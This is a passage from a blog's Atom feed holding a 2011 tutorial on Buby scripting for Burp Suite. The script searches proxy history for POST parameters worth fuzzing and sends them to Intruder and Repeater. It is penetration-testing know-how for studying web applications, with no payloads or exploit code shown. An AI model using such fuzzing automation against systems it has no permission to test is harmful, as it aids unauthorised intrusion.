src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-l08CCVMg5t4/TdAZIjWYitI/AAAAAAAAAUY/ejPyujTvyS4/s72-c/make_http_req_1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-4785171768808439078</id><published>2011-05-14T22:49:00.002-04:00</published><updated>2011-06-24T15:53:41.944-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Buby Script Basics Part 5</title><content type='html'>&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ evt_http_message &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ evt_scan_issue&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√&lt;/span&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt; doActiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ doPassiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ excludeFromScope&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ includeInScope &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ isInScope&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ issueAlert&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ sendToIntruder&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ sendToRepeater&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; sendToSpider&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp; makeHttpRequest&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;In this portion of the Buby Script Basics series (Part 5), we will cover all but two of the remaining methods (methods without lines through them) on our checklist.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit; line-height: normal;"&gt;As always, you can find sample scripts for each of these under the examples directory of the buby-script repo located&amp;nbsp;&lt;/span&gt;&lt;a href="https://github.com/WebExploitationFramework/Buby-Scripts/tree/master/examples" style="text-decoration: none;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;Here&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The three methods we will cover are issueAlert, sendToIntruder, and sendToRepeater. The example script is called sendto_and_issue_alert.rb and encompasses all three.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The purpose of this script is to check the body of post messages to see if one of the parameters matches our list of interesting parameters (FUZZ_PARAMS) which deserve manual analysis. We'll perform the manual analysis with intruder/repeater and then issue an alert when the request has been sent over.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Unlike the previous tutorials, this script will be ran by invoking the method via the command line.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Example of how to run this script (covered in Part 1 of this series:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ jruby -S buby -i -B burp_pro.jar -r sendto_and_issue_alert.rb&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;This script is going to be run against the proxy history, it's going to search the proxy history looking for the interesting requests. After you've interacted with the site type "$burp.run".&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-DCVU1wgKHD8/Tc8pDa8aqEI/AAAAAAAAATg/o0fO-fF0lcM/s1600/sendto_and_issue_alert_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" height="315" src="http://2.bp.blogspot.com/-DCVU1wgKHD8/Tc8pDa8aqEI/AAAAAAAAATg/o0fO-fF0lcM/s400/sendto_and_issue_alert_1.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;If the parameters in the body of the POST message match our interesting params, you should see the following:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;b&gt;Request sent to repeater, notice the name of the tab (it is our fuzz param "Price")&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-rI6O7OKTusY/Tc8pw4degOI/AAAAAAAAATk/cojSX4dUK3Y/s1600/sendto_and_issue_alert_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" height="216" src="http://1.bp.blogspot.com/-rI6O7OKTusY/Tc8pw4degOI/AAAAAAAAATk/cojSX4dUK3Y/s400/sendto_and_issue_alert_2.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;The request has been sent to intruder&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-oFf11HM5F6o/Tc8pxDTxP5I/AAAAAAAAATo/LNG2W_J3ph8/s1600/sendto_and_issue_alert_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" height="242" src="http://2.bp.blogspot.com/-oFf11HM5F6o/Tc8pxDTxP5I/AAAAAAAAATo/LNG2W_J3ph8/s400/sendto_and_issue_alert_3.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Lastly, an alert will appear notifying you that the previously mentioned actions have been taken.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-El8qDSp8rGo/Tc8pxDweYLI/AAAAAAAAATs/h6227POVqsk/s1600/sendto_and_issue_alert_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" height="137" src="http://2.bp.blogspot.com/-El8qDSp8rGo/Tc8pxDweYLI/AAAAAAAAATs/h6227POVqsk/s400/sendto_and_issue_alert_4.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Time to discuss the code that does all this :-)&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;First we establish parameters that could be interesting to us in terms of performing manual analysis.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-IxQILQGt7Rw/Tc8szpFDJYI/AAAAAAAAAUE/R8KGK59hYvs/s1600/sendto_and_issue_alert_5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-IxQILQGt7Rw/Tc8szpFDJYI/AAAAAAAAAUE/R8KGK59hYvs/s1600/sendto_and_issue_alert_5.png" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;This method '$burp.run' is the catalyst for everything that comes next. When the user types $burp.run at the console they are invoking this method.&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Line 2 instantiates the proxy_hist object ($burp.get_proxy_history). The fourth line determines if the length is greater than 0. If so, start iterating thru each obj in the get_proxy_history array. Line 7 invokes the hmeth method (passes it the 'obj' object). Line 8 calls extract_str with the result of Line 7 (hmeth...which is the HTTP Method) and the 'obj' object.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Yr4vjf5hYE0/Tc8raQKbA3I/AAAAAAAAAT0/eGMzEb3j25M/s1600/sendto_and_issue_alert_6.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" height="279" src="http://4.bp.blogspot.com/-Yr4vjf5hYE0/Tc8raQKbA3I/AAAAAAAAAT0/eGMzEb3j25M/s320/sendto_and_issue_alert_6.png" width="320" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-0fDOOWlvzAg/Tc8rasL7Z1I/AAAAAAAAAT4/p3ueAMzO2SQ/s1600/sendto_and_issue_alert_7.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;The req_meth takes the request_headers, takes the first line and converts it to a string. The '[0..3]' method extracts the first 4 characters of the first line of the request headers. The method returns this value.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-gLczETLy3ns/Tc86O5917JI/AAAAAAAAAUM/BzckDOOwsoo/s1600/sendto_and_issue_alert_7.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" height="168" src="http://2.bp.blogspot.com/-gLczETLy3ns/Tc86O5917JI/AAAAAAAAAUM/BzckDOOwsoo/s400/sendto_and_issue_alert_7.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;Part 1 of extract_str&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;The extract_str method is where the FUZZ_PARAMS are searched against the request message and sent to repeater/intruder (along with the alert).&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;The second line splits objs into the http_meth and req objects.&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;The third line ensures that we do not execute any further code unless the http_meth is a POST method.&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Then we instantiate the bparams object as a Hash on line 4.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;On line 5, the request_body gets split by the ampersand (so that we break up all the params and their values into key/value pairs (ex: Price=2099.00).&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Next, we split these pairs up by the '=' (equal sign) and place each param/value (key/value) into the bparam hash. Conceptually the bparam hash would look like&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;bparam = {'Price' =&amp;gt; '2099.00}&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The last line assigns either true or false to the proto object based on whether or not the protocol is https.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ZbNFdQE2E6c/Tc86q_N7owI/AAAAAAAAAUQ/tid5NCEYkbU/s1600/sendto_and_issue_alert_8_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-ZbNFdQE2E6c/Tc86q_N7owI/AAAAAAAAAUQ/tid5NCEYkbU/s1600/sendto_and_issue_alert_8_1.png" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;Part 2 of extract_str&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Here we begin iterating thru each item in the FUZZ_PARAM array. If the bparam hash has as key which matches on of the items in FUZZ_PARAM, we send it to intruder/repeater and issue our alerts.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-KCv-b2035qk/Tc88AUS--1I/AAAAAAAAAUU/ebKL66O7U3Y/s1600/sendto_and_issue_alert_8_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-KCv-b2035qk/Tc88AUS--1I/AAAAAAAAAUU/ebKL66O7U3Y/s1600/sendto_and_issue_alert_8_2.png" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;Explanation of methods:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;&lt;b&gt;sendToIntruder&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: monospace; font-size: 15px;"&gt;&lt;b&gt;(host, port, https, req)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-host&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-port&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-t&lt;/span&gt;&lt;/span&gt;rue/false (for http/https)&lt;br /&gt;-request string&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;&lt;b&gt;sendToRepeater&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: monospace; font-size: 15px;"&gt;&lt;b&gt;(host, port, https, req, tab = nil)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-host&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-port&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-true/false (for http/https)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-request string&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;-the name of the tab (String value) )&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="line-height: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;issueAlert&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: monospace; font-size: 15px;"&gt;&lt;b&gt;(msg)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;- Takes only one parameter, a string value. This is what shows up in the alert.&lt;br /&gt;&lt;br /&gt;*We will cover the remaining two methods in the next portion of the series. This post turned into a rather long one so it was postponed.&lt;br /&gt;&lt;br /&gt;Happy Hacking,&lt;br /&gt;&lt;br /&gt;~cktricky&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-4785171768808439078?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/4785171768808439078/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4785171768808439078' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4785171768808439078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4785171768808439078'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/buby-script-basics-part-5.html' title='Buby Script Basics Part 5'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-DCVU1wgKHD8/Tc8pDa8aqEI/AAAAAAAAATg/o0fO-fF0lcM/s72-c/sendto_and_issue_alert_1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2064383758326562443</id><published>2011-05-14T02:13:00.001-04:00</published><updated>2011-06-24T16:13:59.475-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Buby Script Basics Part 4</title><content type='html'>&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;√ evt_http_message &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;√ evt_scan_issue &lt;/span&gt;&lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" 